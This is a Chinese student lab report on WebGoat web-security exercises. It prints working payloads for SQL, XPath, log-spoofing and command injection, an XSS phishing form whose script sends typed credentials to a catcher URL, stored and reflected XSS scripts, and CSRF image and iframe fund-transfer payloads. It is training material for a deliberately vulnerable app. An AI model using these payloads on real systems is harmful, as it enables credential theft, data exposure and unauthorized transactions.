20155313 杨瀚《网络对抗技术》实验九 Web安全基础

墨蓝 2021-11-01 04:00 192阅读 0赞

# 20155313 杨瀚 《网络对抗技术》实验九 Web安全基础 #

## 一、实验目的 ##

*  本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

## 二、基础问题回答 ##

*  1.SQL注入攻击原理，如何防御
 *  答：SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。
 *  2.XSS攻击的原理，如何防御
 *  答：XSS攻击全称跨站脚本攻击，是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS，XSS是一种在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
 *  3.CSRF攻击原理，如何防御
 *  答：CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。

## 三、实验内容 ##

### 第一阶段 ###

*  1.首先我们来安装一个学习系统`Webgoat`，然后在里面来进行网络攻击操作。我们先在同学给出的百度云上下载这个压缩包，然后拷入kali中，并在压缩包目录中使用`java -jar webgoat-container-7.1-exec.jar`这条指令。
 *  ![1071530-20180528165126610-406046133.png][]
 *  等到安装完成以后会显示正在启动，这时候我们就可以在浏览器中运行Webgoat了。
 *  ![1071530-20180528165223159-575555662.png][]
 *  然后我们在浏览器中输入`localhost:8080/WebGoat`（注意大小写，不然进不去哟）就可以进入这个学习系统。
 *  ![1071530-20180528165937002-329449865.png][]
 *  进入学习系统以后我们可以看到左侧的学习内容。
 *  ![1071530-20180528175148011-747373266.png][]
 *  2.进入学习系统以后我们先进行`String SQL Injection`（字符串数据库注入?），首先我们在那个文本框里输入`Smith`，然后在下面会显示Smith的资料。
 *  ![1071530-20180528181820244-1181280072.png][]
 *  然后根据文本框下面的数据库语言，我们在文本框中输入`'or 1='1`，即在数据库语言中形成了`名字=''（空集，即所有）or 1=’1（永真式）`的判断，结果是会显示所有的用户信息。
 *  ![1071530-20180528181823642-961431399.png][]
 *  3.然后我们进行`Log Spoofing`（日志伪造），我们通过注入恶意字符串，按照规则伪造出一条登陆成功的日志并实现登陆。
 *  首先我们先在文本框中输入登录名`yh`，但是我们并不知道密码，所以我们随意输入一个密码，显然登录失败。
 *  ![1071530-20180528184025382-1472945689.png][]
 *  然后我们尝试使用`yh%0d%0aLogin Succeeded for username: admin`输入在登陆名里，密码随意输入，结果显示用户名yh登录失败，但是admin登陆成功。
 *  ![1071530-20180528184903008-1235591300.png][]
 *  4.接下来我们进行`XPATH Injection`（XML路径语言注入？），我们选择一个XML节点，并在不知道用户名和密码的情况下在用户名和密码中分别输入`yh' or 1=1 or 'a'='a`和`yh`，然后可以看到攻击成功。  
    ![1071530-20180528185349773-1575691488.png][]
 *  5.再接下来我们进行`LAB: SQL Injection`中的第一项`String SQL Injection`。我们的目的是使用数据库注入来绕过身份验证，即不需要密码就可以登陆。
 *  参考同学的博客，使用用户Nevile进行登陆，在密码栏中输入`' or 1=1 --`，但是登录失败。因为查看该网页源代码中显示，这个文本框最多只能输入8个字符。我尝试使用上一个数据库注入的代码`’or 1='1`，刚好8个字符，结果竟然成功了？
 *  ![1071530-20180528193234422-2088796263.png][]
 *  ![1071530-20180528193245337-38619384.png][]
 *  6.再然后我们进行`LAB: SQL Injection`中的第三项`Numeric SQL Injection`（数字数据库注入）。我们的目的是通过注入语句浏览到原本无法浏览的信息，通过一个员工Larry，浏览到Boss的账户信息。我们先在上一题中登陆Larry的账户。
 *  然后我们按f12打开网页源代码，如下图中将value=101（即Larry的ID）修改成`101 or 1=1 order by salary desc --`，这是一种将工资由高到低的一种排序，这样就会在数据库里查找账户数据的时候，第一个查看到老板的账户信息。
 *  ![1071530-20180528201020091-1014079799.png][]
 *  结果是我登陆Larry的账户但是却查看到了老板的信息。
 *  ![1071530-20180528201326850-118405027.png][]
 *  7.接着我们进行`Database Backdoors`（数据库后门）。首先我们输入`101`查看自己的账户信息。
 *  ![1071530-20180528203106665-286874994.png][]
 *  接下来使用SQL语句`101; update employee set salary=20155313`进行修改，将薪水修改成20155313？
 *  ![1071530-20180528204059275-2100183569.png][]
 *  8.最后我们来做`Command Injection`（命令注入）。我们通过修改网站源代码来访问本地计算机建立的IP以及系统的网络端口使用情况以及IP地址，尝试注入`netstat -an`以及`ifconfig`这两个系统命令。我们在下图源代码的位置添加`"& netstat -an & ipconfig"`。
 *  ![1071530-20180528204802192-1137843559.png][]
 *  然后我们在上面的选择框中选择第二项，即我们修改过的选项。
 *  ![1071530-20180528204830570-1269234423.png][]
 *  结果我们可以成功查看IP和端口的信息。
 *  ![1071530-20180528204857018-1267959736.png][]

### 第二阶段 ###

*  1.接下来我们进行XSS跨站脚本攻击，首先我们尝试`Phishing with XSS`（跨站脚本仿冒攻击）。我们的目的是在一个具有XSS漏洞的页面中，利用XSS和HTML注入达到这些目标。参考提示我们尝试向搜索字段添加HTML以创建假身份验证表单，参照同学的博客我们得到以下代码。

</form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>

*  我们将以上代码输入到搜索框中并点击搜索，我们就会看到该代码的运行结果，然后我们在用户名和密码一栏输入我们的账户信息，（假装是正确的）结果我们会看到我们输入的内容被弹窗显示了出来。
 *  ![1071530-20180529184925845-1076727093.png][]
 *  2.接下来我们尝试进行`Stored XSS Attacks`（跨站脚本存储攻击）。我们的目的是在这个sumit的操作上添加一个html的标签。这很简单，我们在Title中随意输入一个抬头，然后在Message中输入`<script>alert("20155313");</script>`一个script的弹窗模块即可完成。
 *  ![1071530-20180529185407415-1530478940.png][]
 *  ![1071530-20180529185411102-452300801.png][]
 *  3.最后我们尝试进行`Reflected XSS Attacks`（跨站脚本反射攻击）。我们在第一个输入文本框随意输入一个银行卡卡号（输入的当然是假的咯），然后输入银行卡最后三位验证码的输入文本框中输入`<script>alert("20155313");</script>`，然后点击购买就会显示弹窗，但是同时会显示购买成功？所以你只要知道别人的银行卡卡号就可以随便买东西咯？
 *  ![1071530-20180529211138822-557771978.png][]

### 第三阶段 ###

*  1.最后我们来进行CSRF跨站请求伪造攻击。首先我们尝试的是`Cross Site Request Forgery(CSRF)`，我们的目的是发送一段包含恶意代码的图片，然后通过设置让被攻击者看不到这个图片。我们在message中输入`<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>`这个格式，其中的src和mune的值参考下面的表格。
 *  ![1071530-20180529220531439-1294277932.png][]
 *  ![1071530-20180529220542207-2019856640.png][]
 *  提交以后点击下面的bonsai按钮刷新以后就会显示攻击成功。
 *  2.最后的最后我们进行`CSRF Prompt By-Pass`（绕过CSRF确认攻击）。我们在message的文本框中输入下面的代码，其中的src和menu值参考下面的表格。  
    `<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>`
 *  ![1071530-20180529221546402-1539020147.png][]
 *  ![1071530-20180529221752824-673905580.png][]
 *  点击提交以后点击下面的Title名就会显示下面攻击成功的界面。
 *  ![1071530-20180529222623519-1971263850.png][]

转载于:https://www.cnblogs.com/bonsai/p/9097562.html

[1071530-20180528165126610-406046133.png]: /images/20211101/e4363b0cafba4a93bac5a52a95309578.png
[1071530-20180528165223159-575555662.png]: /images/20211101/3872bd9cdbff4a7f809fecc9dc42e5c4.png
[1071530-20180528165937002-329449865.png]: /images/20211101/0859919c299e4cdd9e4bc919fd37f763.png
[1071530-20180528175148011-747373266.png]: /images/20211101/8fe67a52641547b4ade04a8e3f8b3486.png
[1071530-20180528181820244-1181280072.png]: /images/20211101/eef13dec24664ef8896153be2e496ec7.png
[1071530-20180528181823642-961431399.png]: /images/20211101/c9b2cf3fdfd448a2a4c1194d581ce34f.png
[1071530-20180528184025382-1472945689.png]: /images/20211101/566b46a1e1804796a05066754ec10356.png
[1071530-20180528184903008-1235591300.png]: /images/20211101/cdd891c26c6244ca99fb15475b56813a.png
[1071530-20180528185349773-1575691488.png]: /images/20211101/28dd95ba09884a2c84d52b9bf704dac1.png
[1071530-20180528193234422-2088796263.png]: /images/20211101/061c3fc40ca249a4a5e8e5d777731d2e.png
[1071530-20180528193245337-38619384.png]: /images/20211101/bf86145c56b948038b491f6fc2a8e5c1.png
[1071530-20180528201020091-1014079799.png]: /images/20211101/f0b062cad1844ff6a235525be1250092.png
[1071530-20180528201326850-118405027.png]: /images/20211101/3d71b089e97f461491da872e24b9b7b5.png
[1071530-20180528203106665-286874994.png]: /images/20211101/be610530479d4f169a964ae4c8efbc1b.png
[1071530-20180528204059275-2100183569.png]: /images/20211101/f3b3f4f9dc834b7985c04a174ffd0208.png
[1071530-20180528204802192-1137843559.png]: /images/20211101/c5789230673c4c39a7a8b0fd8717169f.png
[1071530-20180528204830570-1269234423.png]: /images/20211101/797efca012d34ec791d08e4afc1fb646.png
[1071530-20180528204857018-1267959736.png]: /images/20211101/4eb2cc4b383d4c6f94cc2a37d5b685ee.png
[1071530-20180529184925845-1076727093.png]: /images/20211101/6637d3995e234a918777d1acc1c0826b.png
[1071530-20180529185407415-1530478940.png]: /images/20211101/215cd0bede6b46a6b219714150191338.png
[1071530-20180529185411102-452300801.png]: /images/20211101/1596897f2b9b4b8290c186c876def364.png
[1071530-20180529211138822-557771978.png]: /images/20211101/be0f7997fc954ff0b63ca3c4db948f4a.png
[1071530-20180529220531439-1294277932.png]: /images/20211101/c5fd6adfc98d47129813a2b6868590d6.png
[1071530-20180529220542207-2019856640.png]: /images/20211101/75e0e384e7054fea872de9fdd5451b5e.png
[1071530-20180529221546402-1539020147.png]: /images/20211101/a9fda61b97c2469e89976bca2007dccb.png
[1071530-20180529221752824-673905580.png]: /images/20211101/7e505314ef99429bacf02111b35ff7c7.png
[1071530-20180529222623519-1971263850.png]: /images/20211101/73246ce3a8b3431b8e7ec79049311099.png